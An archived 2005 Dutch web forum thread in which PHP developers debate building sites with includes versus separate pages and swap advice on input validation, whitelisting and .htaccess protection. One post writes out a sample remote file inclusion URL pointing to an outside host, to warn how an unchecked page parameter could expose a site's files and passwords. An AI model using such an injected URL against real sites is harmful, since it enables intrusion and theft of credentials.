Archief - PHP: Wat is het handigste? (includes of aparte pagina's)

[ImpacT] · 5 jun 2005

Radiance zei:
één opmerking though : als je www.site.be/pagina=nieuws toestanden gaat gebruiken en dan gewoon $pagina include zet daar aub enige input controle op (zal je wel de nodige tutorials over vinden) of uw site is zo lek als een zeef.

Dit is 1 van de grootste nadelen, wanneer je dus met includes gaat werken. Maar zoals hierboven al gezegd, je kies hetgene wat je het beste ligt. Persoonlijk vind ik het niet erg van een error-afhandeling te doen, 't is meer werk dat misschien wel, maar ik leer er heel veel uit en dat vind ik dan voor mezelf weer positief.

Lashknife · 5 jun 2005

Impact, een simpele inarray ofzoiets en dat grote "include-probleem" is al van de baan...

BuZz.LiGhTYeAr · 6 jun 2005

Wel ik heb net mijn ASP (ASP of PHP boeit niet, principe blijft hetzelfde) project moeten inleveren. Geheel geprogrammeerd met includes. Ik heb daar flink naar mijn voeten gehad. Volgens hun moest ik alles maken volgens de Model View methode, dus Input-pagina, verwerk-pagina (met ne response.redirect) en terug input-pagina.

We zitten in de tijd van OO (object georienteerd) proggen en dan gaan we nog van alles doorsturen. IPV van een goeie opbouw te nemen en met includes en GET methodes een fatsoenlijke dynamische site te maken. Met model-view maak je dus geen dynamische site, alles is op voorhand al bepaald wat opgeroepen wordt. Includes is ook niet volledig dynamisch maar toch wel meer. Volledig dynamisch is dat je een aantal pagina's in een directory dumpt, je leest de namen, bouwt hier een menu mee en verwijst erna. DAT is dynamisch. Probeer dat maar eens met model-view.

[ImpacT] · 6 jun 2005

Lashknife zei:
Impact, een simpele inarray ofzoiets en dat grote "include-probleem" is al van de baan...

Ik denk persoonlijk toch dat er wel meer bij komt kijken dan dat hoor

. 'k Weet niet op welk niveau jij je error-afhandeling doet, maar ik ben van't princiepe, de gebruiker kan gewoon niets verkeerd doen. Dus alles wat maar ook piet - jan - lul kan "uitproberen" om een fout te krijgen, daarin wil ik mijn gebruiker voor zijn en zorgen dat hij wel het kan proberen, maar dat de uitkomst ervan is dat alles mooi afgehandeld wordt via een error of een header naar de main page.
En in zo'n dingen steek je VEEL tijd als je het goed wilt doen.

Lashknife · 6 jun 2005

Ik denk persoonlijk toch dat er wel meer bij komt kijken dan dat hoor

om te checken of de users niet liggen te foefelen met "page=kamagurka" ?
value niet in de array -> geen bestaande pagina -> redirection naar errorpage of index of whatever

kan gewoon niet fout en absoluut niet zoveel werk

[ImpacT] · 6 jun 2005

Als jij enkel daarop gaat checken. Hmm, dan is het idd niet veel werk.
Waar ik bv. nu met m'n nieuw project al allemaal op check. Ergens wil ik constant weten wat en waar mijn gebruiker bezig is, 'k sla dit natuurlijk niet op, maar in ik zou het in theorie wel kunnen.

- kijken of user nog steeds is ingelogged, session nog niet verlopen
- telkens controleren wanneer hij een actie op't admin panel uitvoerd, of hij nog steeds is ingelogged en of zijn niveau nog dit toelaat
- als er met de url's word gespeeld, redirect
- als er met doorgegeven variabelen wordt gespeeld, dit met een error oplossen of via een andere weg
- bij het editen van post - gegevens ervoor zorgen dat als er toch met de variabelen wordt gespeeld dit bij een "submit" geen gevolgend heeft voor de weggeschreven items

En zo kan'k er nog wel een deel opnoemen. 'k Heb persoonlijk ondervonden dat wanneer je echt eens de gaten gaat zoeken in een website je ze soms snel vind. Bv. enkel controleren bij het "binnengaan" van een adminpanel of de id & pass juist zijn en hierna nooit meer, sorry hoor maar dan ben je zooo snel gehacked.

xml · 6 jun 2005

voor je laatste 'probleem' (admin panel login) is het dan ook veel eenvoudiger te werken met http verificatie/authenticatie.

dJeez · 6 jun 2005

BuZz.LiGhTYeAr zei:
Ik heb daar flink naar mijn voeten gehad. Volgens hun moest ik alles maken volgens de Model View methode, dus Input-pagina, verwerk-pagina (met ne response.redirect) en terug input-pagina.

En sedert wanneer zou MVC niet kunnen mèt includes? Die "ze" zou ik wel eens willen tegenkomen, om hen eens uit te leggen wat MVC precies is en wat includes zijn, beiden hebben op zich nl. totaal niks met elkaar te maken, includes/requires kunnen voor een optimaal hergebruik van code (of die nu al dan niet OO is doet er eigenlijk niet toe) zorgen. Of gaan "ze" elke klasse opnieuw definiëren in elk script waar "ze" die gebruiken misschien?

De intranet sites waarover ik eerder sprak werken trouwens volgens MVC, mèt includes uiteraard.

BTW Server.Transfer kennen "ze" dus wellicht ook niet zeker als je Response.Redirect moet gebruiken volgens hen?

[ImpacT] · 6 jun 2005

xml zei:
voor je laatste 'probleem' (admin panel login) is het dan ook veel eenvoudiger te werken met http verificatie/authenticatie.

Leg eens uit als je wil, 'k kan misschien nog wat nuttige info erbij krijgen

.

DarkBone · 6 jun 2005

[ImpacT] zei:
Leg eens uit als je wil, 'k kan misschien nog wat nuttige info erbij krijgen .

http://httpd.apache.org/docs/howto/auth.html

htaccess/htpasswd

Hiermee kun je authenticatie afdwingen op directory niveau

tikketim · 6 jun 2005

hmm

ik ben maar een php noob maar ik maak 1 index pagina waar ik alle onderdelen in include zoals inloggen.php , news.php ...

is dat dan onveilig ?

DarkBone · 6 jun 2005

tikketim zei:
hmm

ik ben maar een php noob maar ik maak 1 index pagina waar ik alle onderdelen in include zoals inloggen.php , news.php ...

is dat dan onveilig ?

Neen, helemaal niet, zo doe ik het ook.
Wel zorgen dat je de input controleert, aangezien je iets zoals dat liefst niet wil voorhebben:

http//www.jouwsite.be/index.php?inc=http://www.mijnsite.be/view_dir

Stel dat je enkel een extensie toevoegt .php, dan kan ik makkelijk mijn scriptje schrijven om de directory af te beelden en bijgevolg ook files af te beelden etc... (op voorwaarde dat mijn webserver de PHP niet uitvoert). Dat is dan die view_dir.php

Say hi to the passwords!

[ImpacT] · 6 jun 2005

DarkBone zei:
htaccess/htpasswd

Ahh die dingen

, mja dat ken ik wel, maar 'k heb er mij nog niet echt op toegelegd. Misschien later eens doen, htaccess file staat allesinds wel op m'n server

.

tikketim · 6 jun 2005

DarkBone zei:
Neen, helemaal niet, zo doe ik het ook.
Wel zorgen dat je de input controleert, aangezien je iets zoals dat liefst niet wil voorhebben:

http//www.jouwsite.be/index.php?inc=http://www.mijnsite.be/view_dir

Stel dat je enkel een extensie toevoegt .php, dan kan ik makkelijk mijn scriptje schrijven om de directory af te beelden en bijgevolg ook files af te beelden etc... (op voorwaarde dat mijn webserver de PHP niet uitvoert). Dat is dan die view_dir.php
Say hi to the passwords!

en met input bedoel je dan gewoon de url ?
die ziet er bij mij dan zo uit : http://www.jouwsite.be/?page=login

DarkBone · 6 jun 2005

Ik bedoel dan dat je de inhoud van de variabele 'page' zult moeten controleren.

Het veiligste is om te controleren of die waarde (in dit geval 'login') voorkomt in een restrictieve array (een array die dus enkel de toegelaten waarden opsomt). Indien dat niet het geval is geef je een foutmelding, zoja, dan kun je de pagina includen aangezien jij zeker bent dat het de correcte pagina is, want jij zegt enkel welke toegelaten zijn.

Een andere mogelijkheid is gewoon controleren of de waarde (uitgebreid met zijn extensie) als bestand voorkomt op de server, maar op die manier kunnen ook andere bestanden geinclude worden (denk bijvoorbeeld aan een pagina config.php die je zou kunnen includen met behulp van ?page=include) ookal is dat niet gewenst.

Het veiligste is natuurlijk een controle op beide

Joriz · 6 jun 2005

ikzelf hou wel van includes, het scriptje om dat tegen te houden is trouwens niet zo moeilijk, zeker als je dat allemaal wat uitbreid en bv op mappen zou laten controleren en zo je menu of onderliggende modules laten uitvoeren... het houd de code compacter en overzichtelijker om mee te werken (vind ik persoonlijk). Het geeft me ook een goede structuur van hoe mijn site er uit ziet...

Lashknife · 7 jun 2005

[ImpacT] zei:
Als jij enkel daarop gaat checken. Hmm, dan is het idd niet veel werk.

nee, ik check niet enkel daarop, mijn check zitten verspreid bij op de plaatsen waar ze dienen plaatsvinden, maar hier ging het over de include security en die is gewoon heel eenvoudig met zo'n controle op te lossen.
elke page-load/refresh loop ik een auth.php af die checkt op de nodige user veiligheid zoals cookie/session/privileges

page redirection (tenzij ze echt hard gaan voor een 404 natuurlijk, maar dat kan je niet tegenhouden tenzij met htaccess - correct me if i'm wrong)

killgore · 7 jun 2005

Als je per sé includes wilt gebruiken en niet wilt dat pagina's apart worden aangeroepen

geweldig systeem (phpbb of iboard gebruikt dit ook):

in uw te includen file:

PHP:

if(!defined("IN_SITENAAM"))
{
    die("hacking attempt"); // TODO: create nice error tpl
}

en in main site (of config of zo):

PHP:

define("IN_SITENAAM",true);

Ma toch blijf ek in het alg. tegen deze site structuur

.

edit: 99% bullet-proof

ene %: zij weten de naam v/d constante EN jouw .php page kan vanop hun site ingelezen worden.

Maar be honest: wie gaat nu zoveel moeite doen om apart die ene pagina apart te openen

.

PerfectPC · 7 jun 2005

als ge 100% bullet proof wilt zijn maakt ge van uw included files .inc.php files die ge via nen .htaccess gaat access denien. daar hebde al dien ommegang niet voor nodig

ah, en zet uw includes ook in nen directory !

dJeez · 7 jun 2005

killgore zei:
edit: 99% bullet-proof

ene %: zij weten de naam v/d constante EN jouw .php page kan vanop hun site ingelezen worden.

Daar gaan ze vet mee zijn... Enkel de foutmelding zal dan geïnclude worden in hun script. Wat daar 't nut van is zie 'k nu niet direct in

.

Archief - PHP: Wat is het handigste? (includes of aparte pagina's)

[ImpacT]

Legacy Member

Lashknife

Legacy Member

BuZz.LiGhTYeAr

Legacy Member

[ImpacT]

Legacy Member

Lashknife

Legacy Member

[ImpacT]

Legacy Member

xml

Legacy Member

dJeez

Legacy Member

[ImpacT]

Legacy Member

DarkBone

Legacy Member

tikketim

Legacy Member

DarkBone

Legacy Member

[ImpacT]

Legacy Member

tikketim

Legacy Member

DarkBone

Legacy Member

Joriz

Legacy Member

Lashknife

Legacy Member

killgore

Legacy Member

PerfectPC

Legacy Member

dJeez

Legacy Member